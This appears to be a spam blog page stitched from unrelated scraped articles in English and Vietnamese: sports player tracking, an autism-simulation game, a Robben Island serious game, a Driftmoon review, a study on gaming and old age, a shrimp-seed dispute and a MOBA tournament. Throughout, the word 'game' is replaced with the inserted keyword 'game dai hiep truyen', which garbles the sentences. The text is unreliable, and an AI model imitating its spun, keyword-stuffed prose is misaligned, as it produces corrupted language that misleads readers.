"The only constraints at the moment are that the people letting us in the arena are [the teams]. We had talked about doing it in Toronto, about getting some of this information up at the arena, but with the ownership changes with MLSE it kind of slowed things down. But we have put up some unique stats on scoreboards -- who's run most in the first half, et cetera."


NHL next?

Thanks in part to the large amount of overlap with NBA and NHL buildings in the same city, the Toronto situation may change soon if SportVU gets into the hockey world as Kopp expects.

"We were hoping to start this year, but because of the lockout we didn't. We did some initial testing, and the players themselves aren't very hard to track. There's a lot you can do with player movement and positioning, and I know hockey is at least opening their eyes to analytics," Kopp said. "I know there's been this thought, 'Well how can you analyze it when it's so fluid?'

"But if you can actually measure the fluidity, then you're getting somewhere. Of all the sports that are going to be next, I think hockey would be up there."

Video game dai hiep truyen Developer Tries to Recreate the Autistic’s World

Video game dai hiep truyen Developer Tries to Recreate the Autistic’s World

Autism education is going interactive thanks, in part, to Vancouver-based video game dai hiep truyen designer Taylan Kadayifcioglu.

Kadayifcioglu, who goes by the name Taylan Kay, and his two other team members created a video game dai hiep truyen demonstration called “Auti-Sim” that mimics living with hypersensitivity, a common symptom for those with autism.

The game dai hiep truyen was created in just 12 hours as part of last month’s Vancouver’s Hacking Health Hackathon, a computer programming event that encouraged technology experts to mix with health care professionals in order to find tech-based solutions to health issues. Rather than create a game dai hiep truyen purely for fun, Kay wanted to design one that would be educational and raise awareness about the daily challenges for people with autism.


Taylan Kay developed "Auti-Sim" to spread awareness about autism. (Taylan Kay/YouTube)

“You have books and films that are not just about entertainment,” said Kay. “I think it’s about time that game dai hiep truyens did the same.”

There have been multiple videos and films that have attempted to depict what it’s like to have autism, but few video game dai hiep truyens.

“Auti-Sim,” which can be played online, depicts the world through the eyes of a child with hypersensitivity. As the user walks around a playground, other children laugh and play on the equipment. However, anytime the user gets too close to the crowd, the situation becomes overwhelming. Suddenly, the children’s laughter turns loud and cacophonous and their faces become abstractly distorted. The user can then escape the situation by moving to a quieter, more secluded area of the playground.

Kay said he was inspired to create the game dai hiep truyen after seeing a documentary on the subject and talking with his wife, who is a social worker working with autistic children.

“Their brains can’t keep up with data,” said Kay of those with hypersensitivity. “The [filmmaker's] metaphor was that their brains would eventually crash like a computer.”

Max Wiznitzer, a pediatric neurologist at the University Hospitals Rainbow Babies & Children’s Hospital in Cleveland, said that programs such as “Auti-Sim” and other educational materials can provide a window for parents with autistic children to see how their children view the world.

“You need to understand why people are doing what they’re doing,” said Wiznitzer, who has not played the game dai hiep truyen. “Here’s what I tell my parents [of patients with autism]: You need to be an informed consumer. You need to understand which is kiddie behavior and what is [autistic] behavior.

Wiznitzer said that autism-related hypersensitivity, or heightened sensitivity, can take many forms, including discomfort in clothing, inability to eat foods with certain textures or sensitivity to light.

“If you look at things from other people’s perspectives… it makes it easier to think what can we do to help them out,” said Wiznitzer.

While the demo version of “Auti-Sim” is limited to recreating a hypersensitive world, Kay and his team are working to develop a full version of the game dai hiep truyen that would take into consideration a wider range of autistic symptoms and would be available to the public for free.

While Kay received positive feedback from those with autism or autistic family members for “Auti-Sim,” he also received criticism for not having a team member with autism help create the game dai hiep truyen.

Going forward, Kay said, he is meeting with different autism organizations and looking to partner with at least one organization to make sure that their concerns are addressed. For Kay, who grew up with a family member who suffered a similar sensory disorder, the game dai hiep truyen is as much a personal undertaking as a professional one.

“[It's] an invisible challenge,” said Kay, “in that sense I do have a firsthand experience in how it can get in the way of having a normal life.”

Robben island video game dai hiep truyen aims to teach young about apartheid history

Robben island video game dai hiep truyen aims to teach young about apartheid history

Mandela 27 cultural project, named after former South African president's years in jail, seeks worldwide following

Nelson Mandela's cell on Robben Island. The Mandela 27 project will draw on cultural links, exploring widely from ANC events to the UK's Rock against Racism. Photograph: Paul McFegan/Allstar/Sportsphoto

For decades it was a bleak enigma at the southern tip of Africa, shrouded in such secrecy that the world was denied any photographs of its most famous inmate, Nelson Mandela.

Now there are plans to take Robben Island to the world through a video game dai hiep truyen, a website and even a mobile reconstruction of the prison cell where the struggle hero languished for 18 of his 27 years behind bars.

The Mandela 27 project, launched at Cape Town's gateway to Robben Island on Thursday, also aims to draw on cultural links between South Africa and Europe during the racial apartheid era, such as the Rock against Racism campaign in Britain and Nelson Mandela's 70th birthday concert at Wembley Stadium.

The parallel demise of communism in eastern Europe and white minority rule in South Africa in the late 1980s and early 1990s will be highlighted.

"The fall of the Berlin wall didn't seem to be related to the release of political prisoners in South Africa," said Roger Friedman, a spokesman for the project, "but if you take a step back, the connections are very clear."

The initiative comes 19 years after the end of apartheid and as a "born free" generation deals with 21st century concerns rather than looking back. Its loyalty to Mandela's party of liberation, the African National Congress, is far from guaranteed.

Mandela's spartan former cell currently attracts thousands of tourists to Robben Island, a UN world heritage site almost six miles (10km) off the mainland, but has been criticised in some quarters for a lack of curatorship. The replicas of the cell will be a low-budget affair made of plywood but will feature information panels and multimedia exhibits.

They were described as "DIY cells" by David Powell of Swedish education partner Elderberry. "They can be made by anyone with basic carpentry."

The cells are likely to be displayed in schools, libraries and museums. Powell added: "The target audience is quite young: we're talking about events before they were born. 'What was apartheid?' is a question we'll have to answer. They weren't here."

The video game dai hiep truyen is described as a "serious game dai hiep truyen" – not purely for entertainment – in the style of a graphic novel. Based on interviews with former prisoners, it is based around five recurring elements of life in the remote jail: prisoners were not allowed to see children; they craved physical activity including football; education was a key pursuit; communications were heavily censored so that messages had to be smuggled; hunger strikes were used to make existence bearable.

It is being developed by South African students with help from theSerious game dai hiep truyens Institute based at Coventry University's technology park in the UK.

Among Coventry's previous stakes in South African history was local band the Specials' resonant anthem: "Free Nelson Mandela!"

Jacqueline Cawston, programmes director at the institute, stayed on Robben Island for three days during her research. "The story of the cultural events hasn't been told," she said. "The way that we're telling it will be engaging to an audience that hasn't read history books and weren't alive at this time. The whole point of the project is to get the message out there."

The (unrelated) Serious game dai hiep truyens Institute, at North West University, in South Africa, is another partner. Its representative, Werner Ravysewerner, said the target audience was 16- to 25-year-olds. "Serious game dai hiep truyens work very well in engaging young people in learning. This graphic novel will depict life as it was on Robben Island. We are making use of students to create compelling material."

But players should not expect to find themselves in the role of Mandela himself as it is more likely that anonymous characters will be used.

Mandela 27, part-funded by the EU, will also feature a website with an interactive timeline that includes music, theatre and poetry as well as 3D visualisations of Mandela's cell and other locations on the island.

Robben Island spans 518 hectares and measures 3.57km from north to south. It was used as a prison from the mid-17th century, contains a graveyard for people who died from leprosy and is home to a substantial breeding colony of African penguins.

Organisers hope it will boost the island's image after recent yearsplagued by strikes, ferry breakdowns and complaints about tour guides of variable quality and a museum that has rested on its laurels since opening 16 years ago.

Sibongiseni Mkhize, chief executive of the museum, said: "This comes at a time when are trying to improve the manner of how we tell what happened at Robben Island."

There are plans for a reunion of former prisoners on the island later this year, he added. He said Mandela, who was recently back in hospital for tests, had not been consulted about the project but that his foundation was aware of it.

Driftmoon là game dai hiep truyen indie hết sức sáng tạo

Driftmoon là game dai hiep truyen indie hết sức sáng tạo, một sự hòa quyện thú vị của nhiều thể loại.


game dai hiep truyenplay thú vị của game dai hiep truyen sẽ khiến người chưoi khó lòng dứt bỏ.

Nhà phát triển Instant Kingdom đã phải làm việc cật lực trong 7 năm ròng rã để có thể tạo nên sản phẩm tuyệt vời mang tên Driftmoon. Giống như các game dai hiep truyen khác, game dai hiep truyen thủ sẽ bắt đầu Driftmoon với việc đặt tên cho nhân vật của mình. Phần cốt truyện của Driftmoon thuộc dạng mô-típ kinh điển. Câu chuyện bắt đầu khi nhân vật trở về quê nhà của mình sau khi nhận được một lá thư kì lạ từ người cha. Trong thư, bên cạnh việc thúc giục con mình phải quay về nhà ngay, ông còn đề cập đến những điều khá khó hiểu, về chiếc bùa hộ mạng mà ông đã giao cho đứa con khi còn nhỏ.

Video giới thiệu Driftmoon

Những điều kì lạ không chỉ có thế, ngay khi trở về quê nhà, người mẹ xuất hiện, chạy ngay tới phía nhân vật và bảo với con mình rằng hãy tìm chỗ trốn càng nhanh càng tốt. Chưa kịp phản ứng, bà đã đẩy nhân vật rơi xuống một cái giếng cũ ngay cạnh đó…


Driftmoon sở hữu một câu chuyện trường kỳ hết sức hấp dẫn đầy ắp những nhân vật thú vị cùng vô số các nhiệm vụ có thể làm.

Các nhân vật trong game dai hiep truyen rất đa dạng và muôn màu muôn vẻ. Họ có thể là kẻ thù, người bạn hữu ích, cũng có thể trở thành bạn đồng hành giúp người chơi giải quyết các sứ mệnh hóc búa trên con đường tìm hiểu xem điều gì đang xảy ra với gia đình mình, với cả thị trấn và đặc biệt là khám phá và đẩy lùi mối đe dọa khủng khiếp đang hiện diện trong Driftmoon.

Driftmoon game dai hiep truyenplay

Về phần cách chơi, đơn giản chúng ta có thể hiểu đây là một game dai hiep truyen nhập vai kết hợp phiêu lưu, có cảm tưởng một phần nào đó tương tự như Diablo, Torchlight, hay ngay cả Planescape: Torment. Trò chơi cũng sở hữu một số đặc điểm của game dai hiep truyen hành động như trận đánh theo thời gian thực. Tuy nhiên nếu xét về tổng thể, Driftmoon vẫn thiên nặng về khâu khám phá thăm dò, khai thác thông tin từ các đoạn đối thoại để triển khai mạch chuyện, cũng như nhận thêm nhiều nhiệm vụ mới.


Đây là một game dai hiep truyen nhập vai kết hợp phiêu lưu thú vị.

Bên cạnh đó, trò chơi cũng cho phép người chơi “hóa thân” thành các nhà giả kim thuật thông qua việc thu thập vô số nguyên liệu có thể tìm thấy trong suốt quá trình chơi. Chưa hết, khi chơi Driftmoon, game dai hiep truyen thủ cũng có thể tìm thấy những cảm giác quen thuộc tương tự trò chơi Minecraft. Phải nói rằng, Driftmoon là một sự kết hợp đầy thú vị của rất nhiều thể loại, người chơi dù là fan của thể loại nào vẫn có thể tìm thấy hứng thú với Driftmoon.

Cách điều khiển trong game dai hiep truyen được thiết lập hết sức trực quan và rất dễ nắm bắt. game dai hiep truyen thủ chủ yếu sử dụng chuột để kiểm soát tình hình cùng với một số phím nóng. Về cơ bản, các phím nóng này đóng vai trò như một chức năng phụ, người chơi hoàn toàn có thể chơi game dai hiep truyen chỉ bằng chuột. Tuy nhiên, các phím nóng này thực sự rất hữu ích trong một số trường hợp, người chơi có thể sử dụng để thiết lặp phím nóng cho các item, hiển thị bản đồ…


Cách điều khiển trong game dai hiep truyen hết sức trực quan.

Với những ai là “tín đồ” của thể loại nhập vai hành động có thể dễ dàng làm quen với cách bố trí và sử dụng các lệnh trong Driftmoon. Để làm cho nhân vật di chuyển, người chơi chỉ cần “chỉ và nhấp” chuột tới nơi cần tới. Tương tự, chỉ con trỏ tới vị trí của kẻ địch và nhấp chuột để ra lệnh tấn công.

Một số phím lệnh đơn giản có tác dụng giúp hiển thị bản đồ hay sử dụng item, số khác thì cho phép người chơi có khả năng phóng to/thu nhỏ hay thậm chí điều chỉnh độ nghiêng của camera. Dù chúng đều là những tùy chỉnh hết sức đơn giản nhưng lại hoạt động rất tốt và góp phần không nhỏ giúp người chơi dễ dàng hơn vào việc chú trọng game dai hiep truyenplay của game dai hiep truyen, chứ không hề đem đến một chút cảm giác khó chịu nào cho người chơi. Tất cả những điều này làm cho Driftmoon trở thành một trò chơi rất dễ “cầm lên” nhưng rất khó để “bỏ xuống”.

Thậm chí ngay cả khi game dai hiep truyen thủ đã khám phá hết tất cả địa điểm, hoàn thành toàn bộ nhiệm vụ, trò chuyện xong hết với tất cả các nhân vật trong game dai hiep truyen, Driftmoon cũng đủ sức có thể “níu chân” người chơi ở lại thêm một khoảng thời gian nữa bởi các công cụ tùy chỉnh modding rất lớn của trò chơi.

game dai hiep truyen thủ cũng hoàn toàn có khả năng tự tạo nên một bản mod cho riêng mình. Chẳng những tự thân vẽ nên một thế giới hoàn toàn mới cho Driftmoon, người chơi có thể tìm và tải về các bản mod, các màn chơi mới được chia sẻ bởi cộng đồng fan khổng lồ. Các bản mod và màn chơi tải về hoàn toàn miễn phí và làm cho Driftmoon là một game dai hiep truyen có giá trị chơi gần như không có giới hạn.


Giá trị của game dai hiep truyen còn nằm ở số lượng các bản mod đồ sộ.

Dù không thể so sánh với đồ họa “khủng” của các trò chơi phát hành gần đây, song Driftmoon vẫn để lại dấu ấn cho riêng mình. Thế giới trong trò chơi đầy màu sắc, chi tiết và mang lại một cảm giác rất riêng. Môi trường trong game dai hiep truyen mang đậm màu sắc tưởng tượng và rất chi tiết. Ngay cả những thứ nhỏ nhặt như ánh sáng của các ngọn nến, đuốc khi bật/tắt hay hình dáng của các kẻ địch cũng rất được trau chuốt và làm kỹ lưỡng. Không những thế, khi người chơi thay đổi trang bị cho nhân vật của mình, hình dáng biểu hiện bên ngoài của nhân vật cũng sẽ thay đổi như là kiểu áo giáp và loại vũ khí.

Driftmoon đã chứng minh cho chúng ta thấy được dù xu hướng đồ họa hiện thực cao cấp vẫn đang “lên ngôi” và được ưa chuộng, một trò chơi dù không có nền tảng đồ họa cao cấp vẫn có thể đem lại cho game dai hiep truyen thủ cảm giác thỏa mãn.


Môi trường trong game dai hiep truyen mang đậm màu sắc tưởng tượng.

Mảng âm thanh trong game dai hiep truyen được thể hiện khá tốt, các bản nhạc và tiếng động trong Driftmoon đều hoà quyện với game dai hiep truyenplay và mảng hình ảnh một cách rất hoàn hảo. Có thể nói phần âm thanh luôn được điều chỉnh rất phù hợp tại những thời điểm riêng biệt. Các bản nhạc nền trong game dai hiep truyen đều tỏ ra rất hài hòa và phù hợp với hoàn cảnh trong trò chơi. Tuy nhiên, khi chơi game dai hiep truyen người chơi vẫn sẽ cảm thấy một chút trống vắng, lạc lõng khi trong game dai hiep truyen không hề có phần lồng tiếng, các đoạn hội thoại chỉ đơn giản là dòng chữ và những chọn lựa. Song điều này cũng không hẳn là quá xấu, việc lồng tiếng hoàn toàn có thể phá hủy trò chơi nếu nó không phù hợp và được đầu tư sơ sài, không đúng mức. Nói chung, mảng âm thanh trong Driftmoon quả thực rất xuất sắc với một tựa game dai hiep truyen nhập vai indie như thế này.

Kết

Driftmoon là một trò chơi xuất sắc, người chơi sẽ có thể có được những trải nghiệm rất lạ khi chơi. Cốt truyện, game dai hiep truyenplay, hình, âm… có thể nói mọi khía cạnh trong game dai hiep truyen đều rất xuất sắc. game dai hiep truyen thủ dù là fan của thể loại nào, bạn cũng nên thử qua Driftmoon ít nhất một lần.

Ưu
Trò chơi mang lại cảm giác rất thú vị.
Là sự kết hợp hoàn hảo của rất nhiều thể loại,
Các đoạn đối thoại, một số nội dung hết sức hài hước, sáng tạo.
Hình ảnh mang phong cách riêng, chi tiết; âm thanh tốt.
Giá trị chơi lại rất lớn.

Khuyết
Cốt truyện nhìn chung vẫn khá tuyến tính.
Mảng “đánh đấm” khá “nhạt”.
Không có phần lồng tiếng cho các nhân vật.

Thông tin về game dai hiep truyen
Hãng phát triển Instant Kingdom
Hãng phát hành Instant Kingdom
Thể loại game dai hiep truyen nhập vai, phiêu lưu
Hệ máy game dai hiep truyen PC
Ngày phát hành 26/02/2013

Chơi game dai hiep truyen… để sống lâu hơn

Chơi game dai hiep truyen… để sống lâu hơn

Kết quả của cuộc nghiên cứu do trường Đại học Bắc Carolina tiến hành cho thấy đối với những người cao tuổi, chơi game dai hiep truyen thường xuyên là bí quyết để vui vẻ hơn và kéo dài tuổi thọ.

Các nhà nghiên cứu đã tìm hiểu đối mức độ chơi game dai hiep truyen thường xuyên với 140 người trong độ tuổi lớn hơn 63. Ba mươi lăm phần trăm trong số đó cho biết họ chơi game dai hiep truyen ít nhất 1 lần 1 tuần trong khi 61% hiếm khi chơi game dai hiep truyen.



Chơi game dai hiep truyen giúp người cao tuổi tránh được bệnh trầm cảm và sống lâu hơn.

Sau đó, những người này tham gia một khảo sát về cảm xúc để đánh giá mức độ yêu đời; kết quả là những người già chơi game dai hiep truyen thường xuyên hạnh phúc hơn nhiều số còn lại.

Số người già không bao giờ chơi game dai hiep truyen thường thể hiện những cảm xúc tiêu cực và có xu hướng mắc bệnh trầm cảm cao.

Jason Allaire, tác giả của nghiên cứu hy vọng qua nghiên cứu của mình, sẽ có rất nhiều người già tránh được bệnh trầm cảm và sống lâu hơn khi họ được tiếp xúc với các hoạt động giải trí lành mạnh như khi còn trẻ.

Ông cũng cho rằng trong tương lai không xa sẽ có rất nhiều trò chơi đặc biệt phù hợp để cải thiện sức khỏe tâm thần của người cao tuổi. Dường như già đi cũng không quá tệ phải không.

Thứ Năm, 14 tháng 3, 2013

Bình Thuận: “Không có chuyện nhập lậu tôm giống Trung Quốc”

Bình Thuận: “Không có chuyện nhập lậu tôm giống Trung Quốc”

Ngày 13-3, Sở NN&PTNT tỉnh Bình Thuận cùng Công ty TNHH Việt-Úc đã tổ chức họp báo, bác bỏ nghi vấn tôm giống nhập lậu từ Trung Quốc thời gian qua.

Theo xác minh của Sở NN&PTNT Bình Thuận, đàn tôm thẻ chân trắng tại Công ty Việt - Úc là số tôm đang trong quá trình khảo nghiệm sản xuất tôm bố mẹ. Toàn bộ các đàn tôm đều có nguồn gốc rõ ràng, được kiểm dịch và nhập khẩu từ Mỹ, Singapore và Thái Lan. Cơ quan chức năng cũng khẳng định không có chuyện công ty trên trộn tôm nhập lậu từ Trung Quốc với tôm có nguồn gốc để bán.

Ông La Châu Trinh, Phó Giám đốc Sở NN&PTNT tỉnh Bình Thuận, cho biết nghi vấn trên bắt nguồn từ đợt kiểm tra vào ngày 23-1 của Thanh tra Thủy sản phối hợp cùng Sở NN&PTNT, Chi cục Thủy sản cùng Hiệp hội Tôm giống Bình Thuận.



Đoàn kiểm tra phát hiện công ty Việt - Úc đang sản xuất khảo nghiệm 20.600 con tôm thẻ chân trắng có trọng lượng 20 - 40 g, 85.000 con tôm thẻ post 28, 8 hồ Mysys thẻ và 200 con tôm sú bố mẹ. Đoàn kiểm tra yêu cầu cung cấp hồ sơ nguồn gốc đàn tôm, nhưng do lãnh đạo công ty không có mặt nên hồ sơ sau đó mới được bổ sung. Thế nhưng, khi cơ quan chức năng chưa có kết luận chính thức thì ngay hôm sau, các biên bản thanh tra đã được phát tán cho hầu hết khách hàng của Việt-Úc.

Theo ông La Châu Trinh, việc Công ty Việt - Úc kết hợp với Viện Nghiên cứu CSIRO (Úc) khảo nghiệm sản xuất tôm bố mẹ là đáng khuyến khích do Việt Nam chưa tự chủ sản xuất được. Tuy nhiên, công ty đã tự ý triển khai trong khi đề cương chưa được duyệt và không đăng ký với cơ quan quản lý nên sẽ bị xử phạt hành chính.

Trong khi đó, ông Lương Thanh Văn, Giám đốc Công ty TNHH Việt - Úc, cho hay “tin đồn” tôm giống Trung Quốc đã làm nhiều đại lý của công ty bị giảm 50% đơn đặt hàng và thiệt hại này sẽ còn kéo dài dù công ty hiện chiếm khoảng 10% thị phần tôm giống cả nước.



Tại buổi họp báo, có ý kiến cho rằng đây không phải là lần đầu tiên Bình Thuận lan truyền tin tôm giống nhập lậu từ Trung Quốc, thậm chí năm 2011, Bình Thuận đã tiêu hủy một lô hàng tôm giống nhập lậu từ Trung Quốc. Ông La Châu Trinh cho biết từ trước đến nay chưa phát hiện một trường hợp nào như thế, có chăng chỉ là một số doanh nghiệp lén lút.

Củ Hành khởi động giải đấu 10 vs 10 đầu tiên trong game đại hiệp truyện MOBA

Củ Hành khởi động giải đấu 10 vs 10 đầu tiên trong game đại hiệp truyện MOBA

Tuy mới ra mắt được hơn 03 tháng nhưng game đại hiệp truyện Củ Hành đã thu hút sự quan tâm của đông đảo game đại hiệp truyện thủ MOBA (Multiplayer Online Battle Arena) Việt. Cộng đồng Củ Hành ngày càng lớn mạnh, game đại hiệp truyện thủ Củ Hành ngày một đông vui làm nảy sinh nhu cầu giao lưu, học hỏi kinh nghiệm và trao đổi kỹ năng chiến đấu. Để đáp ứng như cầu đó, hàng loạt giải đấu lớn nhỏ của game đại hiệp truyện Củ Hành đã được tổ chức và thu hút sự tham gia của các game đại hiệp truyện thủ trong suốt năm vừa qua như: loạt giải đấu Vãi Hành, Siêu Vãi Hành, Củ Hành Bất Tận, Quân Đoàn Tranh Bá đang khởi động…

Tiếp nối phong trào đó, giải đấu “Lẩu Hành” diễn ra trong 02 ngày 16-17/3 sắp tới sẽ tiếp cận game đại hiệp truyện thủ nhưng bằng hình thức thi đấu hoàn toàn mới: 10vs10 tại đấu trường Quan Độ.

“Lẩu Hành” sẽ được tổ chức tại phòng máy 102 (Hà Nội) và Gia Nguyễn (TP.HCM). Theo quy định của bản đồ này, tổ đội nào phá nhà chính của đối phương trước sẽ giành chiến thắng. Khác với các giải đấu trước đó, các thành viên trong mỗi đội tham gia giải “Lẩu Hành” sẽ phải chọn kiểu đấu theo hình thức “cấm và chọn”. Hai đội không được chọn trùng tướng.

Lẩu Hành áp dụng hình thức chưa từng có trong game đại hiệp truyện MOBA

Mỗi trận đấu sẽ diễn ra trong vòng 75 phút. Nếu sau 75 phút mà bất phân thắng bại thì kết quả thắng thua sẽ được trọng tài xác định dựa trên tổng số lần tiêu diệt tướng đối phương, rồi đến số Tiễn Tháp phá hủy được của đối phương. Nếu trong trường hợp hai điều kiện trên bằng nhau, trọng tài sẽ xem xét đội nào đạt được mức cân bằng trước sẽ giành chiến thắng.

Các tổ đội tham gia giải đấu “Lẩu Hành” có thể bắt đầu đăng ký tham gia trên trang chủ của game đại hiệp truyện từ 18h00 thứ hai ngày 11/3 đến 12h00 thứ bảy ngày 16/3. 16 đội đăng ký hợp lệ và sớm nhất của mỗi miền sẽ được chia bảng thi đấu để tìm ra những tổ đội xuất sắc giành phần thưởng giá trị. Tại mỗi miền, ngay sau khi kết thúc giải, Ban tổ chức sẽ trao tận tay cho các đội đoạt giải 01 giải nhất trị giá 06 triệu đồng; 01 giải nhì 05 triệu đồng; 01 giải ba 04 triệu đồng và 01 giải tư 03 triệu đồng.

Trước đó 01 ngày, Ban tổ chức dành thời gian cho game đại hiệp truyện thủ được trải nghiệm và rèn luyện kỹ năng chiến đấu bằng chương trình “Chơi 3Q, ăn hành uống nước free”. Ngoài việc được chơi game đại hiệp truyện và uống nước ngọt miễn phí, game đại hiệp truyện thủ còn được tặng 01 Củ Hành Lệnh 2.0 và tham gia bốc thăm trúng những phần quà hấp dẫn trong game đại hiệp truyện.

“Chơi 3Q, ăn hành uống nước free” thu hút đông đảo game đại hiệp truyện thủ

Với “Lẩu Hành”, Củ Hành đã trở thành game đại hiệp truyện MOBA đầu tiên cho thi đấu với hình thức 10vs10. Phần thưởng lớn, hình thức thi đấu mới lạ, giải đấu “Lẩu Hành” hứa hẹn sẽ thu hút đông đảo game đại hiệp truyện thủ đăng ký tham gia. Như vậy, sau giải đấu Vãi Hành, Siêu Vãi Hành được tổ chức thường xuyên vào mỗi cuối tuần, nay giải đấu “Lẩu Hành” mở thêm địa chỉ để game đại hiệp truyện thủ khám phá, trải nghiệm và “hành” nhau thoả chí.

Minh Thảo